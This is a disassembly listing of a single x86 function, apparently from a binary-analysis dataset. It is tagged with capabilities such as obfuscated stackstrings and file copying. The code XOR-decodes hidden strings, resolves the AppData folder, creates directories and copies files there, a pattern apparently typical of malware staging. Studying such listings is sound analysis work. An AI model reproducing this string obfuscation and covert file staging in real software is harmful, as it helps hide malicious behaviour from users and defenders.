Function at 0x4678a0
Capabilities:
Contain obfuscated stackstrings
Copy file
Create directory
Get common file path

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xffffffe0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x54e7d2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x10
mov eax, 0x1c38
call fcn.00509110
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x54], 0
cmp byte [0x58ab56], 0
mov al, byte [0x58ab57]
mov byte [ebp - 0x64], al
mov al, byte [0x58ab58]
push esi
mov byte [ebp - 0x65], al
mov al, byte [0x58ab38]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov byte [ebp - 0x42], al
je 0x468108
mov dword [ebp - 0x28], 0x54bb9369
mov edx, 0x58ab8c
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x600], eax
mov dword [ebp - 0x5fc], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5f8], eax
mov dword [ebp - 0x5f4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xbd0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xbcc], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x600]
mov dword [ebp - 0xbc8], eax
lea eax, [ebp - 0x600]
mov dword [ebp - 0xbc4], ecx
lea ecx, [ebp - 0xd60]
pxor xmm1, xmmword [ebp - 0xbd0]
push eax
movaps xmmword [ebp - 0x600], xmm1
call fcn.004b0150
add esp, 4
mov dword [ebp - 4], 0
lea ecx, [ebp - 0xd60]
push 0
call fcn.004aba80
push eax
call edi
test eax, eax
je 0x4680df
mov dword [ebp - 0x28], 0x68869369
lea edx, [ebp - 0xd60]
mov dword [ebp - 0x24], 0x8a29b1c4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], ecx
mov dword [ebp - 0x28], 0x76182b2a
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xbe0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xbdc], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x1d0]
mov dword [ebp - 0xbd8], eax
lea eax, [ebp - 0x1d0]
mov dword [ebp - 0xbd4], ecx
lea ecx, [ebp - 0x1248]
pxor xmm1, xmmword [ebp - 0xbe0]
push eax
mov byte [ebp - 0x41], 0
movaps xmmword [ebp - 0x1d0], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1248]
push 0
call fcn.004aba80
push eax
call edi
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x467c7f
push 0x104
lea eax, [ebp - 0x1b48]
push 0
push eax
call fcn.005205e0
add esp, 0xc
lea eax, [ebp - 0x1b48]
push eax
push 0
push 0
push 0x1a
push 0
call esi
mov dword [ebp - 0x28], 0x68869369
mov dword [ebp - 0x24], 0x8a29b1c4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0x28], 0x76182b2a
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xbf0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xbec], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x150]
mov dword [ebp - 0xbe8], eax
lea eax, [ebp - 0x1290]
mov dword [ebp - 0xbe4], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0xbf0]
movaps xmmword [ebp - 0x150], xmm1
mov dword [ebp - 0x58], eax
call fcn.00410150
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x150]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x467b94
sub ecx, edx
lea eax, [ebp - 0x150]
push ecx
push eax
lea ecx, [ebp - 0x1290]
call fcn.00410090
mov byte [ebp - 4], 4
lea eax, [ebp - 0x1290]
push eax
lea edx, [ebp - 0x1b48]
lea ecx, [ebp - 0x1500]
call fcn.004b0310
add esp, 4
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x1290]
call fcn.0040fe10
mov byte [ebp - 4], 6
lea eax, [ebp - 0x1290]
mov dword [ebp - 0x58], eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x1500]
call fcn.004aba80
mov ecx, eax
call fcn.0041a220
test al, al
je 0x467c4d
sub esp, 0x18
lea eax, [ebp - 0x1248]
mov ecx, esp
mov dword [ebp - 0x58], esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0xa
sub esp, 0x18
lea eax, [ebp - 0x1500]
mov dword [ebp - 0x4c], esp
mov ecx, esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0xb
mov byte [ebp - 4], 6
xor cl, cl
call fcn.0041f720
add esp, 0x30
test eax, eax
jne 0x467c4d
mov byte [ebp - 0x41], 1
jmp 0x467c5f
push 0
mov dl, 1
lea ecx, [ebp - 0x1248]
call fcn.0041a270
add esp, 4
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1500]
call fcn.0040fe10
mov byte [ebp - 4], 1
lea eax, [ebp - 0x1500]
mov dword [ebp - 0x58], eax
mov byte [ebp - 4], 1
mov dword [ebp - 0x28], 0x70808169
lea edx, [ebp - 0xd60]
mov dword [ebp - 0x24], 0x890387c0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], ecx
mov dword [ebp - 0x28], 0x1879272b
mov dword [ebp - 0x24], 0xf55d6954
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xc00], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xbfc], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x1e0]
mov dword [ebp - 0xbf8], eax
lea eax, [ebp - 0x1e0]
mov dword [ebp - 0xbf4], ecx
lea ecx, [ebp - 0x1260]
pxor xmm1, xmmword [ebp - 0xc00]
push eax
movaps xmmword [ebp - 0x1e0], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1260]
push 0
call fcn.004aba80
push eax
call edi
test eax, eax
je 0x46808b
push 0x104
lea eax, [ebp - 0x1c50]
push 0
push eax
call fcn.005205e0
add esp, 0xc
lea eax, [ebp - 0x1c50]
push eax
push 0
push 0
push 0x1a
push 0
call esi
mov dword [ebp - 0x28], 0x4da79269
mov dword [ebp - 0x24], 0xb405a7f2
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x680], eax
mov dword [ebp - 0x67c], ecx
mov dword [ebp - 0x28], 0xe7b3d1a
mov dword [ebp - 0x24], 0x855b6a6f
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x678], eax
mov dword [ebp - 0x674], ecx
mov dword [ebp - 0x28], 0x26d1c229
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x670], eax
mov dword [ebp - 0x66c], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x668], eax
mov dword [ebp - 0x664], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xf60], eax
mov dword [ebp - 0xf5c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xf58], eax
mov dword [ebp - 0xf54], ecx
mov dword [ebp - 0x28], 0x4fbfab07
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xf50], eax
mov dword [ebp - 0xf4c], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x680]
mov dword [ebp - 0xf48], eax
lea eax, [ebp - 0x1278]
mov dword [ebp - 0xf44], ecx
mov ecx, eax
vpxor ymm0, ymm0, ymmword [ebp - 0xf60]
vmovdqa ymmword [ebp - 0x680], ymm0
mov dword [ebp - 0x58], eax
vzeroupper
call fcn.00410150
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x680]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x467eb0
sub ecx, edx
lea eax, [ebp - 0x680]
push ecx
push eax
lea ecx, [ebp - 0x1278]
call fcn.00410090
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x1278]
push eax
lea edx, [ebp - 0x1c50]
lea ecx, [ebp - 0x1518]
call fcn.004b0310
add esp, 4
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x1278]
call fcn.0040fe10
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x1278]
mov dword [ebp - 0x58], eax
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x1518]
call fcn.004aba80
sub esp, 0x18
mov dword [ebp - 0x4c], eax
mov esi, esp
mov dword [ebp - 0x60], esp
mov dword [ebp - 0x6c], esi
mov ecx, esi
mov dword [ebp - 0x50], esi
call fcn.00410150
mov byte [ebp - 4], 0x19
mov edx, dword [ebp - 0x4c]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x4c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x467f40
sub ecx, dword [ebp - 0x4c]
push ecx
push edx
mov ecx, esi
call fcn.00410090
mov byte [ebp - 4], 0x1a
mov byte [ebp - 4], 0x14
call fcn.0041a120
add esp, 0x18
test al, al
je 0x468059
mov dword [ebp - 0x28], 0x7c8ca269
lea edx, [ebp - 0x1260]
mov dword [ebp - 0x24], 0x96348dfe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x28], 0x1f762368
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xc10], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xc0c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x1f0]
mov dword [ebp - 0xc08], eax
lea eax, [ebp - 0x1f0]
mov dword [ebp - 0xc04], ecx
lea ecx, [ebp - 0x1a40]
pxor xmm1, xmmword [ebp - 0xc10]
push eax
movaps xmmword [ebp - 0x1f0], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x1b
mov ecx, eax
call fcn.004aba80
lea ecx, [ebp - 0x1518]
mov esi, eax
call fcn.004aba80
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x1a40]
call fcn.0040fc90
test esi, esi
je 0x468059
mov byte [ebp - 0x41], 1
jmp 0x46806b
push 0
mov dl, 1
lea ecx, [ebp - 0x1260]
call fcn.0041a270
add esp, 4
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x1518]
call fcn.0040fe10
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x1518]
mov dword [ebp - 0x50], eax
mov byte [ebp - 4], 0xf
cmp byte [ebp - 0x41], 0
jne 0x4680a3
push 0
mov dl, 1
lea ecx, [ebp - 0xd60]
call fcn.0041a270
add esp, 4
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x1260]
call fcn.0040fe10
mov byte [ebp - 4], 1
lea eax, [ebp - 0x1260]
mov dword [ebp - 0x50], eax
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x1248]
call fcn.0040fe10
mov byte [ebp - 4], 0
lea eax, [ebp - 0x1248]
mov dword [ebp - 0x6c], eax
mov byte [ebp - 4], 0
mov dword [ebp - 4], 0x25
lea ecx, [ebp - 0xd60]
call fcn.0040fe10
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0xd60]
mov dword [ebp - 0x50], eax
mov dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0x42], 0
je 0x46b93b
mov dword [ebp - 0x28], 0x698e9269
mov edx, 0x58ab8c
mov dword [ebp - 0x24], 0xe64098c4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1fc], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1f4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xc20], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xc1c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x200]
mov dword [ebp - 0xc18], eax
lea eax, [ebp - 0x200]
mov dword [ebp - 0xc14], ecx
lea ecx, [ebp - 0x138]
pxor xmm1, xmmword [ebp - 0xc20]
push eax
movaps xmmword [ebp - 0x200], xmm1
call fcn.004b0150
add esp, 4
mov dword [ebp - 4], 0x28
lea ecx, [ebp - 0x138]
push 0
call fcn.004aba80
push eax
call edi
test eax, eax
je 0x46b912
mov dword [ebp - 0x28], 0x6b9d9269
lea edx, [ebp - 0x138]
mov dword [ebp - 0x24], 0x962f9fd6
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], ecx
mov dword [ebp - 0x28], 0x76182b2f
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x204], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xc30], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xc2c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x210]
mov dword [ebp - 0xc28], eax
lea eax, [ebp - 0x210]
mov dword [ebp - 0xc24], ecx
lea ecx, [ebp - 0x13f8]
pxor xmm1, xmmword [ebp - 0xc30]
push eax
mov byte [ebp - 0x31], 0
movaps xmmword [ebp - 0x210], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x13f8]
push 0
call fcn.004aba80
push eax
call edi
test eax, eax
je 0x46866b
mov dword [ebp - 0x28], 0x6b9d9269
mov dword [ebp - 0x24], 0x962f9fd6
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6a0], eax
mov dword [ebp - 0x69c], ecx
mov dword [ebp - 0x28], 0x5442b2f
mov dword [ebp - 0x24], 0xdb4a7a51
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x698], eax
mov dword [ebp - 0x694], ecx
mov dword [ebp - 0x28], 0x4fcbca63
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x690], eax
mov dword [ebp - 0x68c], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x688], eax
mov dword [ebp - 0x684], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xf40], eax
mov dword [ebp - 0xf3c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xf38], eax
mov dword [ebp - 0xf34], ecx
mov dword [ebp - 0x28], 0x4fbfab07
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xf30], eax
mov dword [ebp - 0xf2c], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x6a0]
mov dword [ebp - 0xf28], eax
lea eax, [ebp - 0x1230]
mov dword [ebp - 0xf24], ecx
mov ecx, eax
vpxor ymm0, ymm0, ymmword [ebp - 0xf40]
vmovdqa ymmword [ebp - 0x6a0], ymm0
mov dword [ebp - 0x50], eax
vzeroupper
call fcn.00410150
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x6a0]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4683f0
sub ecx, edx
lea eax, [ebp - 0x6a0]
push ecx
push eax
lea ecx, [ebp - 0x1230]
call fcn.00410090
mov byte [ebp - 4], 0x2c
mov dword [ebp - 0x28], 0x45ac9a79
mov dword [ebp - 0x24], 0xb610aaed
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x28], 0x374c0b02
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xc40], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xc3c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x220]
mov dword [ebp - 0xc38], eax
lea eax, [ebp - 0x220]
mov dword [ebp - 0xc34], ecx
pxor xmm1, xmmword [ebp - 0xc40]
push eax
movaps xmmword [ebp - 0x220], xmm1
call fcn.0052d011
add esp, 4
lea ecx, [ebp - 0x1230]
mov edx, eax
push ecx
lea ecx, [ebp - 0x1530]
call fcn.004b0310
add esp, 4
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x1230]
call fcn.0040fe10
mov byte [ebp - 4], 0x2e
lea eax, [ebp - 0x1230]
mov dword [ebp - 0x50], eax
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x1530]
call fcn.004aba80
sub esp, 0x18
mov dword [ebp - 0x4c], eax
mov esi, esp
mov dword [ebp - 0x6c], esp
mov dword [ebp - 0x58], esi
mov ecx, esi
mov dword [ebp - 0x60], esi
call fcn.00410150
mov byte [ebp - 4], 0x33
mov edx, dword [ebp - 0x4c]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x4c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x468520
sub ecx, dword [ebp - 0x4c]
push ecx
push edx
mov ecx, esi
call fcn.00410090
mov byte [ebp - 4], 0x34
mov byte [ebp - 4], 0x2e
call fcn.0041a120
add esp, 0x18
test al, al
je 0x468639
mov dword [ebp - 0x28], 0x728ea669
lea edx, [ebp - 0x13f8]
mov dword [ebp - 0x24], 0x8724c5c4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0x28], 0x76184a32
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xc50], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xc4c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x230]
mov dword [ebp - 0xc48], eax
lea eax, [ebp - 0x230]
mov dword [ebp - 0xc44], ecx
lea ecx, [ebp - 0x1950]
pxor xmm1, xmmword [ebp - 0xc50]
push eax
movaps xmmword [ebp - 0x230], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x35
mov ecx, eax
call fcn.004aba80
lea ecx, [ebp - 0x1530]
mov esi, eax
call fcn.004aba80
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x1950]
call fcn.0040fc90
test esi, esi
je 0x468639
mov byte [ebp - 0x31], 1
jmp 0x46864b
push 0
mov dl, 1
lea ecx, [ebp - 0x13f8]
call fcn.0041a270
add esp, 4
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x1530]
call fcn.0040fe10
mov byte [ebp - 4], 0x29
lea eax, [ebp - 0x1530]
mov dword [ebp - 0x50], eax
mov byte [ebp - 4], 0x29
mov dword [ebp - 0x28], 0x6a869869
lea edx, [ebp - 0x138]
mov dword [ebp - 0x24], 0x873288c4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], ecx
mov dword [ebp - 0x28], 0x76183e20
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xc60], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xc5c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x240]
mov dword [ebp - 0xc58], eax
lea eax, [ebp - 0x240]
mov dword [ebp - 0xc54], ecx
lea ecx, [ebp - 0x85c]
pxor xmm1, xmmword [ebp - 0xc60]
push eax
movaps xmmword [ebp - 0x240], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x85c]
push 0
call fcn.004aba80
push eax
call edi
test eax, eax
je 0x469478
mov dword [ebp - 0x28], 0x6d82fb69
mov dword [ebp - 0x24], 0x94238ecf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x10bc], ecx
mov dword [ebp - 0x10c0], eax
mov dword [ebp - 0x28], 0x2a6c2c27
mov dword [ebp - 0x24], 0x9b5a6d5c
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x10b4], ecx
mov dword [ebp - 0x10b8], eax
mov dword [ebp - 0x28], 0x3ddac364
mov dword [ebp - 0x24], 0x86148908
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x10ac], ecx
mov dword [ebp - 0x10b0], eax
mov dword [ebp - 0x28], 0x1207f287
mov dword [ebp - 0x24], 0xa6ccb59d
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x10a4], ecx
mov dword [ebp - 0x10a8], eax
mov dword [ebp - 0x28], 0xba660016
mov dword [ebp - 0x24], 0xe2502b6d
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x109c], ecx
mov dword [ebp - 0x10a0], eax
mov dword [ebp - 0x28], 0xc81d154a
mov dword [ebp - 0x24], 0xe38070cc
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1094], ecx
mov dword [ebp - 0x1098], eax
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xddc], ecx
mov dword [ebp - 0xde0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xdd4], ecx
mov dword [ebp - 0xdd8], eax
mov dword [ebp - 0x28], 0x4fbfab07
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xdcc], ecx
mov dword [ebp - 0xdd0], eax
mov dword [ebp - 0x28], 0x666987e8
push dword [ebp - 0x50]
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xdc4], ecx
mov dword [ebp - 0xdc8], eax
mov dword [ebp - 0x28], 0xba666e79
mov dword [ebp - 0x24], 0xe2502b6d
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xdbc], ecx
mov dword [ebp - 0xdc0], eax
mov dword [ebp - 0x28], 0xc81d154a
mov dword [ebp - 0x24], 0xe38070cc
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x10c0]
vpxor ymm0, ymm0, ymmword [ebp - 0xde0]
mov dword [ebp - 0xdb4], ecx
lea ecx, [ebp - 0x1728]
mov dword [ebp - 0xdb8], eax
vmovdqa ymmword [ebp - 0x10c0], ymm0
vmovaps xmm1, xmmword [ebp - 0x10a0]
vpxor xmm1, xmm1, xmmword [ebp - 0xdc0]
mov byte [ebp - 0x41], 0
vmovaps xmmword [ebp - 0x10a0], xmm1
vzeroupper
call fcn.00410070
mov byte [ebp - 4], 0x3a
lea eax, [ebp - 0x10c0]
push eax
call fcn.00410010
add esp, 4
lea ecx, [ebp - 0x1728]
push eax
lea eax, [ebp - 0x10c0]
push eax
call fcn.00410090
mov byte [ebp - 4], 0x3b
mov dword [ebp - 0x28], 0x40bf8574
mov dword [ebp - 0x24], 0xe601bfe0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x24c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x244], ecx
